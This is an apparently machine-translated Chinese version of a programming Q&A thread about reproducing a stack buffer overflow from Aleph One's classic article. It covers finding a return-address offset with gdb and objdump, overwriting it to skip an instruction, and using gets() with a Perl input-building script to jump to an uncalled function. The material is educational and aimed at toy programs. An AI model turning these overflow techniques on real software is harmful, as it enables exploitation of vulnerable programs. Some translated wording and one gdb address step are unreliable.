试图粉碎堆栈

我试图重现stackoverflow结果,我从Aleph One的文章“粉碎堆栈的乐趣和利润”中读到(可以在这里找到: http : //insecure.org/stf/smashstack.html )。

试图覆盖返回地址似乎对我不起作用。

C代码:

void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; //Trying to overwrite return address ret = buffer1 + 12; (*ret) = 0x4005da; } void main() { int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); } 

拆卸主要:

  (gdb) disassemble main Dump of assembler code for function main: 0x00000000004005b0 : push %rbp 0x00000000004005b1 : mov %rsp,%rbp 0x00000000004005b4 : sub $0x10,%rsp 0x00000000004005b8 : movl $0x0,-0x4(%rbp) 0x00000000004005bf : mov $0x3,%edx 0x00000000004005c4 : mov $0x2,%esi 0x00000000004005c9 : mov $0x1,%edi 0x00000000004005ce : callq 0x400564  0x00000000004005d3 : movl $0x1,-0x4(%rbp) 0x00000000004005da : mov -0x4(%rbp),%eax 0x00000000004005dd : mov %eax,%esi 0x00000000004005df : mov $0x4006dc,%edi 0x00000000004005e4 : mov $0x0,%eax 0x00000000004005e9 : callq 0x400450  0x00000000004005ee : leaveq 0x00000000004005ef : retq End of assembler dump. 

我已经硬编码了返回地址以跳过x = 1; 代码行,我使用了反汇编程序的硬编码值(地址:0x4005da)。 此漏洞的目的是打印0,但它打印1。

我有一种非常强烈的感觉,“ret = buffer1 + 12;” 不是返回地址的地址。 如果是这种情况,我如何确定返回地址,是gcc在返回地址和缓冲区之间分配更多内存。

这是我为朋友写的指南,一段时间后使用gets执行缓冲区溢出攻击。 它讨论了如何获取返回地址以及如何使用它来覆盖旧地址:

我们对堆栈的了解告诉我们,在您尝试溢出的缓冲区之后,返回地址会出现在堆栈中。 但是,缓冲区返回地址后多久取决于您正在使用的体系结构。 为了确定这一点,首先编写一个简单的程序并检查程序集:

C代码:

 void function() { char buffer[4]; } int main() { function(); } 

大会(删节):

 function: pushl %ebp movl %esp, %ebp subl $16, %esp leave ret main: leal 4(%esp), %ecx andl $-16, %esp pushl -4(%ecx) pushl %ebp movl %esp, %ebp pushl %ecx call function ... 

您可以使用几种工具来检查汇编代码。 首先,当然是使用gcc -S main.c直接编译gcc的汇编输出。 这可能很难阅读,因为对于什么代码对应于原始C代码几乎没有提示。 此外,还有很多样板代码很难筛选出来。 另一个需要考虑的工具是gdbtui。 使用gdbtui的好处是可以在运行程序时检查程序集源,并在程序执行期间手动检查堆栈。 然而,它有一个陡峭的学习曲线。

我最喜欢的assembly检验程序是objdump。 运行objdump -dS a.out为程序集源提供原始C源代码的上下文。 使用objdump,在我的计算机上,字符缓冲区的返回地址偏移量为8个字节。

此函数function获取返回地址并将其递增7。 返回地址最初指向的指令长度为7个字节,因此添加7使返回地址指向赋值后的指令。

在下面的示例中,我覆盖返回地址以跳过指令x = 1

简单的C程序:

 void function() { char buffer[4]; /* return address is 8 bytes beyond the start of the buffer */ int *ret = buffer + 8; /* assignment instruction we want to skip is 7 bytes long */ (*ret) += 7; } int main() { int x = 0; function(); x = 1; printf("%d\n",x); } 

主要function(x = 1,80483af长7个字节):

 8048392: 8d4c2404 lea 0x4(%esp),%ecx 8048396: 83e4f0 and $0xfffffff0,%esp 8048399: ff71fc pushl -0x4(%ecx) 804839c: 55 push %ebp 804839d: 89e5 mov %esp,%ebp 804839f: 51 push %ecx 80483a0: 83ec24 sub $0x24,%esp 80483a3: c745f800000000 movl $0x0,-0x8(%ebp) 80483aa: e8c5ffffff call 8048374  80483af: c745f801000000 movl $0x1,-0x8(%ebp) 80483b6: 8b45f8 mov -0x8(%ebp),%eax 80483b9: 89442404 mov %eax,0x4(%esp) 80483bd: c70424a0840408 movl $0x80484a0,(%esp) 80483c4: e80fffffff call 80482d8  80483c9: 83c424 add $0x24,%esp 80483cc: 59 pop %ecx 80483cd: 5d pop %ebp 

我们知道返回地址在哪里,我们已经certificate更改它会影响运行的代码。 缓冲区溢出可以通过使用gets和输入正确的字符串来执行相同的操作,以便使用新地址覆盖返回地址。

在下面的一个新例子中,我们有一个函数function ,它使用gets填充缓冲区。 我们还有一个从未被调用的函数。 使用正确的输入,我们可以运行uncalled。

 #include  #include  void uncalled() { puts("uh oh!"); exit(1); } void function() { char buffer[4]; gets(buffer); } int main() { function(); puts("program secure"); } 

要运行uncalled ,请使用objdump或类似命令检查可执行文件,以查找uncalled的入口点的地址。 然后将地址附加到正确位置的输入缓冲区,以便覆盖旧的返回地址。 如果您的计算机是little-endian(x86等),则需要交换地址的字节序。

为了正确地执行此操作,我在下面有一个简单的perl脚本,它会生成将导致缓冲区溢出的输入,这将覆盖返回地址。 它需要两个参数,首先它采用新的返回地址,然后它采用从缓冲区开头到返回地址位置的距离(以字节为单位)。

 #!/usr/bin/perl print "x"x@ARGV[1]; # fill the buffer print scalar reverse pack "H*", substr("0"x8 . @ARGV[0] , -8); # swap endian of input print "\n"; # new line to end gets 

您需要检查堆栈以确定buffer1+12是否实际上是要修改的正确地址。 这种东西不是非常便携。

我可能还会在代码中放置一些引人注目的代码,这样您就可以看到堆栈中缓冲区相对于返回地址的位置:

 char buffer1[5] = "1111"; char buffer2[10] = "2222"; 

您可以通过打印堆栈来解决这个问题。 添加如下代码:

 int* pESP; __asm mov pESP, esp 

__asm指令是特定于Visual Studio的。 获得堆栈的地址后,您可以将其打印出来并查看其中的内容。 请注意,当您执行操作或进行调用时,堆栈将会更改,因此您必须先将堆栈地址的内存复制到arrays,然后打印出arrays,从而立即保存整个内存块。

你会发现与堆栈帧和各种运行时检查有关的各种垃圾。 默认情况下,VS会将保护代码放入堆栈中,以防止您正在尝试执行的操作。 如果打印出“function”的汇编列表,您将看到这一点。 您需要设置编译器开关以关闭所有这些东西。

作为其他答案中建议的方法的替代方法,您可以使用gdb来计算这种事情。 为了使输出更容易读取,我删除了buffer2变量,并将buffer1更改为8个字节,以便更加一致。 我们还将编译32位以上更容易读取地址,并打开调试(gcc -m32 -g)。

 void function(int a, int b, int c) { char buffer1[8]; char *ret; 

所以让我们打印buffer1的地址:

 (gdb) print &buffer1 $1 = (char (*)[8]) 0xbffffa40 

然后让我们打印一下,看看堆栈上有什么。

 (gdb) x/16x 0xbffffa40 0xbffffa40: 0x00001000 0x00000000 0xfecf25c3 0x00000003 0xbffffa50: 0x00000000 0xbffffb50 0xbffffa88 0x00001f3b 0xbffffa60: 0x00000001 0x00000002 0x00000003 0x00000000 0xbffffa70: 0x00000003 0x00000002 0x00000001 0x00001efc 

执行回溯以查看返回地址应指向的位置:

 (gdb) bt #0 function (a=1, b=2, c=3) at foo.c:18 #1 0x00001f3b in main () at foo.c:26 

果然,它在0xbffffa5b:

 (gdb) x/x 0xbffffa5b 0xbffffa5b: 0x001f3bbf